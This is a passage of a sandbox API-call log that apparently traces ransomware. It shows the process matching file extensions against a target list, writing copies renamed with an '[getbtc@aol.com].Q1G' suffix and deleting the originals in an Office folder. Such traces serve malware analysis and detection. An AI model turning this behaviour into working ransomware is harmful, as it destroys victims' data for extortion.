Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString=".zip") returned 4 [0263.368] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString=".rar") returned 4 [0263.368] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString=".bz2") returned 4 [0263.368] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.368] lstrlenW (lpString=".7z") returned 3 [0263.368] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString=".dbf") returned 4 [0263.368] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString=".1cd") returned 4 [0263.368] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString=".jpg") returned 4 [0263.368] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString=".doc") returned 4 [0263.368] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString=".docx") returned 5 [0263.369] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0263.369] lstrlenW (lpString=".pdf") returned 4 [0263.369] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.369] lstrlenW (lpString=".xls") returned 4 [0263.369] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.369] lstrlenW (lpString=".xlsx") returned 5 [0263.369] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0263.369] lstrlenW (lpString=".ppt") returned 4 [0263.369] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.369] lstrlenW (lpString=".zip") returned 4 [0263.369] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.369] lstrlenW (lpString=".rar") returned 4 [0263.369] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.369] lstrlenW (lpString=".bz2") returned 4 [0263.369] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.369] lstrlenW (lpString=".7z") returned 3 [0263.369] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.369] lstrlenW (lpString=".dbf") returned 4 [0263.369] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.369] lstrlenW (lpString=".1cd") returned 4 [0263.369] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.369] lstrlenW (lpString=".jpg") returned 4 [0263.369] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.369] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.369] lstrlenW (lpString="SCHDRESN.CFG") returned 12 [0263.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.370] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=835) returned 1 [0263.370] CloseHandle (hObject=0x3a8) returned 1 [0263.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg")) returned 0x20 [0263.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.370] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.370] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.371] GetLastError () returned 0x0 [0263.371] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x343, lpOverlapped=0x0) returned 1 [0263.416] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x350, lpOverlapped=0x0) returned 1 [0263.417] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.417] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.417] SetEndOfFile (hFile=0x3d8) returned 1 [0263.417] CloseHandle (hObject=0x3d8) returned 1 [0263.417] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.417] SetEndOfFile (hFile=0x3a8) returned 1 [0263.434] CloseHandle (hObject=0x3a8) returned 1 [0263.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg")) returned 1 [0263.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.516] lstrlenW (lpString=".doc") returned 4 [0263.516] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.516] lstrlenW (lpString=".docx") returned 5 [0263.516] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0263.516] lstrlenW (lpString=".pdf") returned 4 [0263.516] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.516] lstrlenW (lpString=".xls") returned 4 [0263.516] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.516] lstrlenW (lpString=".xlsx") returned 5 [0263.516] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0263.517] lstrlenW (lpString=".ppt") returned 4 [0263.517] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.517] lstrlenW (lpString=".zip") returned 4 [0263.517] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString=".rar") returned 4 [0263.517] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString=".bz2") returned 4 [0263.517] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.517] lstrlenW (lpString=".7z") returned 3 [0263.517] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.517] lstrlenW (lpString=".dbf") returned 4 [0263.517] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.517] lstrlenW (lpString=".1cd") returned 4 [0263.517] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.517] lstrlenW (lpString=".jpg") returned 4 [0263.517] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.517] lstrlenW (lpString=".doc") returned 4 [0263.517] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString=".docx") returned 5 [0263.517] lstrcmpiW (lpString1=".docx", lpString2="N.CFG") returned -1 [0263.517] lstrlenW (lpString=".pdf") returned 4 [0263.517] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString=".xls") returned 4 [0263.517] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString=".xlsx") returned 5 [0263.517] lstrcmpiW (lpString1=".xlsx", lpString2="N.CFG") returned -1 [0263.517] lstrlenW (lpString=".ppt") returned 4 [0263.517] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.517] lstrlenW (lpString=".zip") returned 4 [0263.518] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.518] lstrlenW (lpString=".rar") returned 4 [0263.518] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.518] lstrlenW (lpString=".bz2") returned 4 [0263.518] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.518] lstrlenW (lpString=".7z") returned 3 [0263.518] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.518] lstrlenW (lpString=".dbf") returned 4 [0263.518] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.518] lstrlenW (lpString=".1cd") returned 4 [0263.518] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned 66 [0263.518] lstrlenW (lpString=".jpg") returned 4 [0263.518] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.518] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.518] lstrlenW (lpString="SECURE.CFG") returned 10 [0263.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.519] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=647) returned 1 [0263.519] CloseHandle (hObject=0x3d8) returned 1 [0263.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg")) returned 0x20 [0263.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.519] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.519] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.521] GetLastError () returned 0x0 [0263.521] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x287, lpOverlapped=0x0) returned 1 [0263.522] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x290, lpOverlapped=0x0) returned 1 [0263.522] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.523] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0263.523] SetEndOfFile (hFile=0x3a0) returned 1 [0263.523] CloseHandle (hObject=0x3a0) returned 1 [0263.523] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.523] SetEndOfFile (hFile=0x3d8) returned 1 [0263.525] CloseHandle (hObject=0x3d8) returned 1 [0263.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg")) returned 1 [0263.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.526] lstrlenW (lpString=".doc") returned 4 [0263.526] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.526] lstrlenW (lpString=".docx") returned 5 [0263.526] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0263.526] lstrlenW (lpString=".pdf") returned 4 [0263.526] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.526] lstrlenW (lpString=".xls") returned 4 [0263.526] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.526] lstrlenW (lpString=".xlsx") returned 5 [0263.526] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0263.526] lstrlenW (lpString=".ppt") returned 4 [0263.526] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.526] lstrlenW (lpString=".zip") returned 4 [0263.526] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.526] lstrlenW (lpString=".rar") returned 4 [0263.526] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.526] lstrlenW (lpString=".bz2") returned 4 [0263.526] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.527] lstrlenW (lpString=".7z") returned 3 [0263.527] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.527] lstrlenW (lpString=".dbf") returned 4 [0263.527] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.527] lstrlenW (lpString=".1cd") returned 4 [0263.527] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.527] lstrlenW (lpString=".jpg") returned 4 [0263.527] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.527] lstrlenW (lpString=".doc") returned 4 [0263.527] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString=".docx") returned 5 [0263.527] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0263.527] lstrlenW (lpString=".pdf") returned 4 [0263.527] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString=".xls") returned 4 [0263.527] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString=".xlsx") returned 5 [0263.527] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0263.527] lstrlenW (lpString=".ppt") returned 4 [0263.527] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.527] lstrlenW (lpString=".zip") returned 4 [0263.527] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString=".rar") returned 4 [0263.527] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.527] lstrlenW (lpString=".bz2") returned 4 [0263.527] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.527] lstrlenW (lpString=".7z") returned 3 [0263.527] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.528] lstrlenW (lpString=".dbf") returned 4 [0263.528] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.528] lstrlenW (lpString=".1cd") returned 4 [0263.528] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0263.528] lstrlenW (lpString=".jpg") returned 4 [0263.528] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.528] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.528] lstrlenW (lpString="SECURL.ICO") returned 10 [0263.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.534] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1078) returned 1 [0263.534] CloseHandle (hObject=0x3a0) returned 1 [0263.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico")) returned 0x20 [0263.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.534] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.534] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.535] GetLastError () returned 0x0 [0263.535] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x436, lpOverlapped=0x0) returned 1 [0263.552] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x440, lpOverlapped=0x0) returned 1 [0263.553] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.553] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0263.553] SetEndOfFile (hFile=0x37c) returned 1 [0263.553] CloseHandle (hObject=0x37c) returned 1 [0263.554] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.554] SetEndOfFile (hFile=0x3a0) returned 1 [0263.556] CloseHandle (hObject=0x3a0) returned 1 [0263.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico")) returned 1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.557] lstrlenW (lpString=".doc") returned 4 [0263.557] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.557] lstrlenW (lpString=".docx") returned 5 [0263.557] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.557] lstrlenW (lpString=".pdf") returned 4 [0263.557] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.557] lstrlenW (lpString=".xls") returned 4 [0263.557] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.557] lstrlenW (lpString=".xlsx") returned 5 [0263.557] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.557] lstrlenW (lpString=".ppt") returned 4 [0263.557] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.557] lstrlenW (lpString=".zip") returned 4 [0263.557] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.557] lstrlenW (lpString=".rar") returned 4 [0263.557] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.557] lstrlenW (lpString=".bz2") returned 4 [0263.557] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.557] lstrlenW (lpString=".7z") returned 3 [0263.557] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0263.557] lstrlenW (lpString=".dbf") returned 4 [0263.557] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 